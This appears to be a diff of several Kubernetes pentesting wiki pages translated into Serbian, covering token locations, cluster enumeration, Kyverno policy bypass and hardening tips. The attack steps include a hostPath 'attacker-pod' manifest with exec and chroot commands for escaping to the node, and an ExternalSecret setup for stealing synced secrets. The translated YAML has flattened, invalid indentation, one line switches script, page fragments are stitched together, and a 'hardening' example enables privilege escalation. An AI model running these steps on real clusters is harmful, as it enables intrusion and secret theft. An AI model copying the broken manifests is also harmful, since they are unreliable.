+- **token**: Sadrži **servisni token** trenutnog poda.
 
-Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
+Sada kada imate token, možete pronaći API server unutar promenljive okruženja **`KUBECONFIG`**. Za više informacija pokrenite `(env | set) | grep -i "kuber|kube`**`"`**
 
-The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
+Token servisnog naloga se potpisuje ključem koji se nalazi u datoteci **sa.key** i validira se pomoću **sa.pub**.
 
-Default location on **Kubernetes**:
+Podrazumevana lokacija na **Kubernetes**:
 
 - /etc/kubernetes/pki
 
-Default location on **Minikube**:
+Podrazumevana lokacija na **Minikube**:
 
 - /var/lib/localkube/certs
 
 ### Hot Pods
 
-_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
+_**Hot pods su**_ podovi koji sadrže privilegovan token servisnog naloga. Privilegovani token servisnog naloga je token koji ima dozvolu za obavljanje privilegovanih zadataka kao što su listanje tajni, kreiranje podova, itd.
 
 ## RBAC
 
-If you don't know what is **RBAC**, **read this section**.
+Ako ne znate šta je **RBAC**, **pročitajte ovu sekciju**.
 
 ## GUI Applications
 
-- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
-- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
+- **k9s**: GUI koji enumeriše kubernetes klaster iz terminala. Proverite komande na [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Napišite `:namespace` i izaberite sve da biste zatim pretražili resurse u svim imenskim oblastima.
+- **k8slens**: Nudi nekoliko besplatnih probnih dana: [https://k8slens.dev/](https://k8slens.dev/)
 
 ## Enumeration CheatSheet
 
-In order to enumerate a K8s environment you need a couple of this:
+Da biste enumerisali K8s okruženje, potrebni su vam neki od ovih:
 
-- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
-- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
-- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
+- **validan autentifikacioni token**. U prethodnoj sekciji smo videli gde da tražimo korisnički token i token servisnog naloga.
+- **adresa (**_**https://host:port**_**) Kubernetes API**. Ovo se obično može pronaći u promenljivim okruženja i/ili u kube konfiguracionoj datoteci.
+- **Opcionalno**: **ca.crt za verifikaciju API servera**. Ovo se može pronaći na istim mestima gde se može pronaći token. Ovo je korisno za verifikaciju sertifikata API servera, ali korišćenjem `--insecure-skip-tls-verify` sa `kubectl` ili `-k` sa `curl` vam neće biti potrebno.
 
-With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
+Sa tim detaljima možete **enumerisati kubernetes**. Ako je **API** iz nekog razloga **dostupan** putem **Interneta**, možete jednostavno preuzeti te informacije i enumerisati platformu sa vaše mašine.
 
-However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
+Međutim, obično je **API server unutar interne mreže**, stoga ćete morati da **napravite tunel** kroz kompromitovanu mašinu da biste mu pristupili sa vaše mašine, ili možete **otpremiti** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binarni fajl, ili koristiti **`curl/wget/anything`** za izvođenje sirovih HTTP zahteva ka API serveru.
 
-### Differences between `list` and `get` verbs
-
-With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
+### Razlike između `list` i `get` glagola
 
+Sa **`get`** dozvolama možete pristupiti informacijama o specifičnim resursima (_`describe` opcija u `kubectl`_) API:

-
-If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
-
+Ako imate **`watch`** dozvolu, dozvoljeno vam je da izvršavate API zahteve za praćenje resursa:

+**DaemonSets** omogućava da se osigura da **određeni pod radi na svim čvorovima** klastera (ili na odabranim čvorovima). Ako obrišete DaemonSet, podovi koje on upravlja će takođe biti uklonjeni.

-configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
+configMap uvek sadrži mnogo informacija i konfiguracionih fajlova koji se pružaju aplikacijama koje rade u kubernetesu. Obično možete pronaći mnogo lozinki, tajni, tokena koji se koriste za povezivanje i validaciju sa drugim internim/eksternim servisima.

-### Escaping from the pod
-
-If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
+### Bekstvo iz poda
 
+Ako ste u mogućnosti da kreirate nove pode, možda ćete moći da pobegnete iz njih na čvor. Da biste to uradili, potrebno je da kreirate novi pod koristeći yaml datoteku, prebacite se na kreirani pod i zatim chroot u sistem čvora. Možete koristiti već postojeće pode kao referencu za yaml datoteku, jer prikazuju postojeće slike i putanje.
 ```bash
 kubectl get pod <name> [-n <namespace>] -o yaml
 ```
-
-> if you need create pod on the specific node, you can use following command to get labels on node
+> ako treba da kreirate pod na specifičnom čvoru, možete koristiti sledeću komandu da dobijete oznake na čvoru
 >
 > `k get nodes --show-labels`
 >
-> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
-
-Then you create your attack.yaml file
+> Obično, kubernetes.io/hostname i node-role.kubernetes.io/master su sve dobre oznake za selektovanje.
 
+Zatim kreirate svoj attack.yaml fajl
 ```yaml
 apiVersion: v1
 kind: Pod
 metadata:
-  labels:
-    run: attacker-pod
-  name: attacker-pod
-  namespace: default
+labels:
+run: attacker-pod
+name: attacker-pod
+namespace: default
 spec:

-    - name: host-fs
-      hostPath:

-  containers:
-    - image: ubuntu
-      imagePullPolicy: Always
-      name: attacker-pod
-      command: ["/bin/sh", "-c", "sleep infinity"]
-      volumeMounts:
-        - name: host-fs
-          mountPath: /root
-  restartPolicy: Never
-  # nodeName and nodeSelector enable one of them when you need to create pod on the specific node
-  #nodeName: master
-  #nodeSelector:
-  #  kubernetes.io/hostname: master
-  # or using
-  #  node-role.kubernetes.io/master: ""
+volumes:
+- name: host-fs
+hostPath:
+path: /
+containers:
+- image: ubuntu
+imagePullPolicy: Always
+name: attacker-pod
+command: ["/bin/sh", "-c", "sleep infinity"]
+volumeMounts:
+- name: host-fs
+mountPath: /root

+# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
+#nodeName: master
+#nodeSelector:
+#  kubernetes.io/hostname: master
+# or using
+#  node-role.kubernetes.io/master: ""
 ```
-
 [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
 
-After that you create the pod
-
+Nakon toga kreirate pod
 ```bash
 kubectl apply -f attacker.yaml [-n <namespace>]
 ```
-
-Now you can switch to the created pod as follows
-
+Sada možete preći na kreirani pod na sledeći način
 ```bash
 kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
 ```
-
-And finally you chroot into the node's system
-
+I konačno se chroot-ujete u sistem čvora
 ```bash
 chroot /root /bin/bash
 ```

 # External Secret Operator
 
-**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
+**Originalni autor ove stranice je** [**Fares**](https://www.linkedin.com/in/fares-siala/)
 
-This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
+Ova stranica daje nekoliko saveta o tome kako možete ukrasti tajne iz pogrešno konfigurisanog ESO-a ili aplikacije koja koristi ESO za sinhronizaciju svojih tajni.
 
-## Disclaimer
+## Odricanje od odgovornosti
 
-The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
+Tehnika prikazana u nastavku može raditi samo kada su ispunjeni određeni uslovi. Na primer, zavisi od zahteva potrebnih da se tajna sinhronizuje na imenskom prostoru koji posedujete / koji je kompromitovan. Morate to sami da otkrijete.
 
-## Prerequisites
+## Preduslovi
 
-1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
-2. Read access on at least ExternalSecret at cluster level
-3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
+1. Pristup u kubernetes / openshift klasteru sa administratorskim privilegijama na imenskom prostoru
+2. Pristup za čitanje na najmanje ExternalSecret na nivou klastera
+3. Otkrivanje da li su potrebne oznake / anotacije ili članstvo u grupi koje omogućavaju ESO-u da sinhronizuje vašu tajnu. Ako imate sreće, možete slobodno ukrasti bilo koju definisanu tajnu.
 
-### Gathering information about existing ClusterSecretStore
-
-Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
+### Prikupljanje informacija o postojećem ClusterSecretStore-u
 
+Pretpostavljajući da imate korisnika koji ima dovoljno prava da pročita ovaj resurs; počnite tako što ćete prvo nabrojati postojeće _**ClusterSecretStores**_.
 ```sh
 kubectl get ClusterSecretStore
 ```
+### ExternalSecret enumeracija
 
-### ExternalSecret enumeration
-
-Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
-
+Pretpostavimo da ste pronašli ClusterSecretStore nazvan _**mystore**_. Nastavite sa enumeracijom njegovog povezanog externalsecret.
 ```sh
 kubectl get externalsecret -A | grep mystore
 ```
+_Ovaj resurs je ograničen na prostor imena, tako da, osim ako već ne znate koje ime prostora da tražite, dodajte opciju -A da biste pretražili sve prostore imena._
 
-_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
-
-You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
-
+Trebalo bi da dobijete listu definisanih externalsecret. Pretpostavimo da ste pronašli externalsecret objekat pod nazivom _**mysecret**_ definisan i korišćen od strane prostora imena _**mynamespace**_. Prikupite još malo informacija o tome kakvu vrstu tajne sadrži.
 ```sh
 kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
 ```
+### Sastavljanje delova
 
-### Assembling the pieces
-
-From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
-
+Odavde možete dobiti ime jednog ili više imena tajni (kao što je definisano u resursu Secret). Dobićete izlaz sličan:
 ```yaml
 kind: ExternalSecret
 metadata:
-  annotations:
-  ...
-  labels:
-  ...
+annotations:
+...
+labels:
+...
 spec:
-  data:
-  - remoteRef:
-      conversionStrategy: Default
-      decodingStrategy: None
-      key: SECRET_KEY
-    secretKey: SOME_PASSWORD
-    ...
+data:
+- remoteRef:
+conversionStrategy: Default
+decodingStrategy: None
+key: SECRET_KEY
+secretKey: SOME_PASSWORD
+...
 ```
+Do sada smo dobili:
 
-So far we got:
-
-- Name a ClusterSecretStore
-- Name of an ExternalSecret
-- Name of the secret
-
-Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
+- Ime ClusterSecretStore
+- Ime ExternalSecret
+- Ime tajne
 
+Sada kada imamo sve što nam je potrebno, možete kreirati ExternalSecret (i eventualno zakrpititi/kreirati novi Namespace kako biste ispunili preduslove potrebne za sinhronizaciju vaše nove tajne):
 ```yaml
 kind: ExternalSecret
 metadata:
-  name: myexternalsecret
-  namespace: evilnamespace
+name: myexternalsecret
+namespace: evilnamespace
 spec:
-  data:
-    - remoteRef:
-        conversionStrategy: Default
-        decodingStrategy: None
-        key: SECRET_KEY
-      secretKey: SOME_PASSWORD
-  refreshInterval: 30s
-  secretStoreRef:
-    kind: ClusterSecretStore
-    name: mystore
-  target:
-    creationPolicy: Owner
-    deletionPolicy: Retain
-    name: leaked_secret
+data:
+- remoteRef:
+conversionStrategy: Default
+decodingStrategy: None
+key: SECRET_KEY
+secretKey: SOME_PASSWORD
+refreshInterval: 30s
+secretStoreRef:
+kind: ClusterSecretStore
+name: mystore
+target:
+creationPolicy: Owner
+deletionPolicy: Retain
+name: leaked_secret
 ```
 
 ```yaml
 kind: Namespace
 metadata:
-  annotations:
-    required_annotation: value
-    other_required_annotation: other_value
-  labels:
-    required_label: somevalue
-    other_required_label: someothervalue
-  name: evilnamespace
+annotations:
+required_annotation: value
+other_required_annotation: other_value
+labels:
+required_label: somevalue
+other_required_label: someothervalue
+name: evilnamespace
 ```
-
-After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
-
+После неколико минута, ако су услови синхронизације испуњени, требало би да можете да видите процурели тајни кључ унутар вашег имена простора.
 ```sh
 kubectl get secret leaked_secret -o yaml
 ```

 ## **Audit IaC Code**
 
 ### [**Popeye**](https://github.com/derailed/popeye)
 
-[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
+[**Popeye**](https://github.com/derailed/popeye) je alat koji skenira aktivni Kubernetes klaster i **izveštava o potencijalnim problemima sa raspoređenim resursima i konfiguracijama**. Sanitizuje vaš klaster na osnovu onoga što je raspoređeno, a ne onoga što se nalazi na disku. Skeniranjem vašeg klastera, otkriva pogrešne konfiguracije i pomaže vam da osigurate da su najbolje prakse na snazi, čime se sprečavaju budući problemi. Cilj mu je smanjenje kognitivnog \_over_load-a sa kojim se suočava kada upravlja Kubernetes klasterom u stvarnom svetu. Pored toga, ako vaš klaster koristi metric-server, izveštava o potencijalnim prekomernim/podkomernim alokacijama resursa i pokušava da vas upozori ako vaš klaster ostane bez kapaciteta.

 ### Kubernetes API Hardening
 
-It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\
-It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**.
+Veoma je važno **zaštititi pristup Kubernetes Api Serveru** jer bi zlonameran akter sa dovoljno privilegija mogao da ga zloupotrebi i na mnogo načina ošteti okruženje.\
+Važno je osigurati i **pristup** (**whitelist** porekla za pristup API Serveru i odbiti sve druge veze) i [**autentifikaciju**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (prateći princip **najmanjih** **privilegija**). I definitivno **nikada** **ne dozvoliti** **anonimne** **zahteve**.
 
-**Common Request process:**\
-User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
+**Uobičajen proces zahteva:**\
+Korisnik ili K8s ServiceAccount –> Autentifikacija –> Autorizacija –> Kontrola prijema.
 
-**Tips**:
+**Saveti**:
 
-- Close ports.
-- Avoid Anonymous access.
-- NodeRestriction; No access from specific nodes to the API.

-  - Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
-  - And also, allows kubelets to add/remove/update these labels and label prefixes.
-- Ensure with labels the secure workload isolation.
-- Avoid specific pods from API access.
-- Avoid ApiServer exposure to the internet.
-- Avoid unauthorized access RBAC.
-- ApiServer port with firewall and IP whitelisting.
+- Zatvorite portove.
+- Izbegavajte anonimni pristup.
+- NodeRestriction; Nema pristupa sa specifičnih čvorova do API-ja.

+- U suštini sprečava kubelete da dodaju/uklanjaju/aktuelizuju oznake sa prefiksom node-restriction.kubernetes.io/. Ovaj prefiks oznake je rezervisan za administratore da označe svoje Node objekte u svrhu izolacije radnog opterećenja, a kubeleti neće moći da menjaju oznake sa tim prefiksom.
+- Takođe, omogućava kubeletima da dodaju/uklanjaju/aktuelizuju ove oznake i prefikse oznaka.
+- Osigurajte sa oznakama sigurnu izolaciju radnog opterećenja.
+- Izbegavajte specifične podove iz API pristupa.
+- Izbegavajte izlaganje ApiServer-a internetu.
+- Izbegavajte neovlašćen pristup RBAC-u.
+- ApiServer port sa firewall-om i IP whitelist-om.
 
 ### SecurityContext Hardening
 
-By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one:
-
+Podrazumevano će se koristiti korisnik root kada se pod pokrene ako nije naveden nijedan drugi korisnik. Možete pokrenuti svoju aplikaciju unutar sigurnijeg konteksta koristeći šablon sličan sledećem:
 ```yaml
 apiVersion: v1
 kind: Pod
 metadata:
-  name: security-context-demo
+name: security-context-demo
 spec:
-  securityContext:
-    runAsUser: 1000
-    runAsGroup: 3000
-    fsGroup: 2000
-  volumes:
-  - name: sec-ctx-vol
-    emptyDir: {}
-  containers:
-  - name: sec-ctx-demo
-    image: busybox
-    command: [ "sh", "-c", "sleep 1h" ]
-   securityContext:
-    runAsNonRoot: true
-    volumeMounts:
-    - name: sec-ctx-vol
-      mountPath: /data/demo
-    securityContext:
-      allowPrivilegeEscalation: true

-### General Hardening
+### Opšte učvršćivanje
 
-You should update your Kubernetes environment as frequently as necessary to have:
+Trebalo bi da ažurirate svoje Kubernetes okruženje koliko god je potrebno da imate:
 
-- Dependencies up to date.
-- Bug and security patches.
+- Zavisnosti ažurirane.
+- Ispravke grešaka i bezbednosne zakrpe.
 
-[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Each 3 months there is a new minor release -- 1.20.3 = 1(Major).20(Minor).3(patch)
+[**Ciklus izdanja**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Svakih 3 meseca dolazi novo manje izdanje -- 1.20.3 = 1(Majorski).20(Manjinski).3(zakrpa)
 
-**The best way to update a Kubernetes Cluster is (from** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
+**Najbolji način za ažuriranje Kubernetes klastera je (iz** [**ovde**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):**
 
-- Upgrade the Master Node components following this sequence:
-  - etcd (all instances).
-  - kube-apiserver (all control plane hosts).
-  - kube-controller-manager.
-  - kube-scheduler.
-  - cloud controller manager, if you use one.
-- Upgrade the Worker Node components such as kube-proxy, kubelet.
+- Ažurirajte komponente Master Node-a prateći ovu sekvencu:
+- etcd (sve instance).
+- kube-apiserver (svi hostovi kontrolne ravni).
+- kube-controller-manager.
+- kube-scheduler.
+- cloud controller manager, ako ga koristite.
+- Ažurirajte komponente Worker Node-a kao što su kube-proxy, kubelet.

-When specifying the security context of a Pod you can use several attributes. From a defensive security point of view you should consider:
+Kada definišete bezbednosni kontekst Pod-a, možete koristiti nekoliko atributa. Sa stanovišta odbrane, trebali biste razmotriti:
 
-- To have **runASNonRoot** as **True**
-- To configure **runAsUser**
-- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
-- Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**

-This context is set inside the **containers definitions**. From a defensive security point of view you should consider:
+Ovaj kontekst se postavlja unutar **definicija kontejnera**. Sa stanovišta odbrane, trebali biste razmotriti:
 
-- **allowPrivilegeEscalation** to **False**
-- Do not add sensitive **capabilities** (and remove the ones you don't need)
-- **privileged** to **False**
-- If possible, set **readOnlyFilesystem** as **True**
-- Set **runAsNonRoot** to **True** and set a **runAsUser**
-- If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
-- Do **NOT** give **privilege** **group** access via **runAsGroup.**
+- **allowPrivilegeEscalation** na **False**
+- Ne dodavati osetljive **kapacitete** (i ukloniti one koje ne trebate)
+- **privileged** na **False**
+- Ako je moguće, postavite **readOnlyFilesystem** na **True**
+- Postavite **runAsNonRoot** na **True** i postavite **runAsUser**
+- Ako je moguće, razmotrite **ograničavanje** **dozvola** označavanjem **seLinuxOptions** i **seccompProfile**
+- **NE** dajete **privilegije** **grupi** putem **runAsGroup.**
 
-Note that the attributes set in **both SecurityContext and PodSecurityContext**, the value specified in **SecurityContext** takes **precedence**.
+Napomena: Atributi postavljeni u **obema SecurityContext i PodSecurityContext**, vrednost navedena u **SecurityContext** ima **prioritet**.

-## Definition 
+## Definicija 
 
-Kyverno is an open-source, policy management framework for Kubernetes that enables organizations to define, enforce, and audit policies across their entire Kubernetes infrastructure. It provides a scalable, extensible, and highly customizable solution for managing the security, compliance, and governance of Kubernetes clusters.
+Kyverno je open-source okvir za upravljanje politikama za Kubernetes koji omogućava organizacijama da definišu, sprovode i audituju politike širom svoje Kubernetes infrastrukture. Pruža skalabilno, proširivo i veoma prilagodljivo rešenje za upravljanje bezbednošću, usklađenošću i upravljanjem Kubernetes klasterima.
 
-## Use cases
+## Upotrebe
 
-Kyverno can be used in a variety of use cases, including:
+Kyverno se može koristiti u raznim slučajevima, uključujući:
 
-1. **Network Policy Enforcement**: Kyverno can be used to enforce network policies, such as allowing or blocking traffic between pods or services.
-2. **Secret Management**: Kyverno can be used to enforce secret management policies, such as requiring secrets to be stored in a specific format or location.
-3. **Access Control**: Kyverno can be used to enforce access control policies, such as requiring users to have specific roles or permissions to access certain resources.
+1. **Sprovođenje mrežnih politika**: Kyverno se može koristiti za sprovođenje mrežnih politika, kao što su dozvoljavanje ili blokiranje saobraćaja između podova ili servisa.
+2. **Upravljanje tajnama**: Kyverno se može koristiti za sprovođenje politika upravljanja tajnama, kao što je zahtev da se tajne čuvaju u specifičnom formatu ili lokaciji.
+3. **Kontrola pristupa**: Kyverno se može koristiti za sprovođenje politika kontrole pristupa, kao što je zahtev da korisnici imaju specifične uloge ili dozvole za pristup određenim resursima.
 
-## **Example: ClusterPolicy and Policy**
+## **Primer: ClusterPolicy i Policy**
 
-Let's say we have a Kubernetes cluster with multiple namespaces, and we want to enforce a policy that requires all pods in the `default` namespace to have a specific label.
+Recimo da imamo Kubernetes klaster sa više prostora imena, i želimo da sprovedemo politiku koja zahteva da svi podovi u `default` prostoru imena imaju specifičnu oznaku.
 
 **ClusterPolicy**
 
-A ClusterPolicy is a high-level policy that defines the overall policy intent. In this case, our ClusterPolicy might look like this:
-
+ClusterPolicy je politika na visokom nivou koja definiše ukupnu nameru politike. U ovom slučaju, naša ClusterPolicy bi mogla izgledati ovako:
 ```yaml
 apiVersion: kyverno.io/v1
 kind: ClusterPolicy
 metadata:
-  name: require-label
+name: require-label
 spec:
-  rules:
-  - validate:
-      message: "Pods in the default namespace must have the label 'app: myapp'"
-      match:
-        any:
-        - resources:
-            kinds:
-              - Pod
-            namespaceSelector:
-              matchLabels:
-                namespace: default
-        - any:
-            - resources:
-                kinds:
-                  - Pod
-                namespaceSelector:
-                  matchLabels:
-                    namespace: default
-                validationFailureAction: enforce
+rules:
+- validate:
+message: "Pods in the default namespace must have the label 'app: myapp'"
+match:
+any:
+- resources:
+kinds:
+- Pod
+namespaceSelector:
+matchLabels:
+namespace: default
+- any:
+- resources:
+kinds:
+- Pod
+namespaceSelector:
+matchLabels:
+namespace: default
+validationFailureAction: enforce
 ```
-
-When a pod is created in the `default` namespace without the label `app: myapp`, Kyverno will block the request and return an error message indicating that the pod does not meet the policy requirements.
+Kada se pod kreira u `default` imenskom prostoru bez oznake `app: myapp`, Kyverno će blokirati zahtev i vratiti poruku o grešci koja ukazuje da pod ne ispunjava zahteve politike.

-## Abusing policies misconfiguration
+## Zloupotreba pogrešne konfiguracije politika
 
-### Enumerate rules
-
-Having an overview may help to know which rules are active, on which mode and who can bypass it
+### Nabrajanje pravila
 
+Imati pregled može pomoći da se zna koja su pravila aktivna, u kojem režimu i ko može da ih zaobiđe
 ```bash
 $ kubectl get clusterpolicies
 $ kubectl get policies
 ```
-
 ### Enumerate Excluded
 
-For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
+Za svaku ClusterPolicy i Policy, možete navesti listu isključenih entiteta, uključujući:
 
-- Groups: `excludedGroups`
-- Users: `excludedUsers`
-- Service Accounts (SA): `excludedServiceAccounts`
-- Roles: `excludedRoles`
-- Cluster Roles: `excludedClusterRoles`
+- Grupe: `excludedGroups`
+- Korisnike: `excludedUsers`
+- Servisne naloge (SA): `excludedServiceAccounts`
+- Uloge: `excludedRoles`
+- Klaster Uloge: `excludedClusterRoles`
 
-These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
+Ovi isključeni entiteti će biti oslobođeni zahteva politike, i Kyverno neće sprovoditi politiku za njih.
 
 ## Example 
 
-Let's dig into one clusterpolicy example : 
-
+Hajde da istražimo jedan primer clusterpolicy : 
 ```
 $ kubectl get clusterpolicies MYPOLICY -o yaml
 ```
-
-Look for the excluded entities : 
-
+Pogledajte isključene entitete : 
 ```yaml
 exclude:
-  any:
-    - clusterRoles:
-        - cluster-admin
-    - subjects:
-        - kind: User
-          name: system:serviceaccount:DUMMYNAMESPACE:admin
-        - kind: User
-          name: system:serviceaccount:TEST:thisisatest
-        - kind: User
-          name: system:serviceaccount:AHAH:*
+any:
+- clusterRoles:
+- cluster-admin
+- subjects:
+- kind: User
+name: system:serviceaccount:DUMMYNAMESPACE:admin
+- kind: User
+name: system:serviceaccount:TEST:thisisatest
+- kind: User
+name: system:serviceaccount:AHAH:*
 ```
+Unutar klastera, brojne dodatne komponente, operateri i aplikacije mogu zahtevati isključenje iz klasterske politike. Međutim, ovo se može iskoristiti ciljanjem privilegovanih entiteta. U nekim slučajevima, može se činiti da prostor imena ne postoji ili da nemate dozvolu da se pretvarate da ste korisnik, što može biti znak pogrešne konfiguracije.
 
-Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
+## Zloupotreba ValidatingWebhookConfiguration
 
-## Abusing ValidatingWebhookConfiguration
-
-Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource : 
+Još jedan način za zaobilaženje politika je fokusiranje na resurs ValidatingWebhookConfiguration :

-In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
+U Kubernetes-u je prilično uobičajeno da nekako **uspete da uđete u namespace** (kradom nekih korisničkih akreditiva ili kompromitovanjem poda). Međutim, obično ćete biti zainteresovani za **eskalaciju na drugi namespace jer se tamo mogu pronaći zanimljivije stvari**.
 
-Here are some techniques you can try to escape to a different namespace:
+Evo nekoliko tehnika koje možete pokušati da pobegnete u drugi namespace:
 
-### Abuse K8s privileges
+### Zloupotreba K8s privilegija
 
-Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
+Očigledno, ako račun koji ste ukrali ima osetljive privilegije nad namespace-om na koji možete da eskalirate, možete zloupotrebiti radnje kao što su **kreiranje podova** sa servisnim nalozima u NS, **izvršavanje** shel-a u već postojećem podu unutar ns, ili čitanje **tajnih** SA tokena.

-### Escape to the node

-If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
+Ako možete da pobegnete na čvor bilo zato što ste kompromitovali pod i možete pobegnuti ili zato što možete da kreirate privilegovani pod i pobegnete, mogli biste uraditi nekoliko stvari da ukradete druge SA tokene:
 
-- Check for **SAs tokens mounted in other docker containers** running in the node
-- Check for new **kubeconfig files in the node with extra permissions** given to the node
-- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
+- Proverite za **SA tokene montirane u drugim docker kontejnerima** koji rade na čvoru
+- Proverite za nove **kubeconfig datoteke na čvoru sa dodatnim dozvolama** datim čvoru
+- Ako je omogućeno (ili omogućite sami) pokušajte da **kreirate ogledne podove drugih namespace-a** jer biste mogli dobiti pristup tim namespace-ima podrazumevanim token nalogima (ovo još nisam testirao)

 ## Introduction
 
-In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
+U Kubernetes-u, primećeno je da podrazumevano ponašanje omogućava uspostavljanje veza između **svih kontejnera koji se nalaze na istom čvoru**. Ovo važi bez obzira na razlike u imenskim prostorima. Takva povezanost se proteže do **Sloja 2** (Ethernet). Kao rezultat, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **maliciozni kontejner** izvrši **ARP spoofing napad** na druge kontejnere smeštene na istom čvoru. Tokom takvog napada, maliciozni kontejner može obmanjujuće presresti ili izmeniti mrežni saobraćaj namenjen drugim kontejnerima.
 
-ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
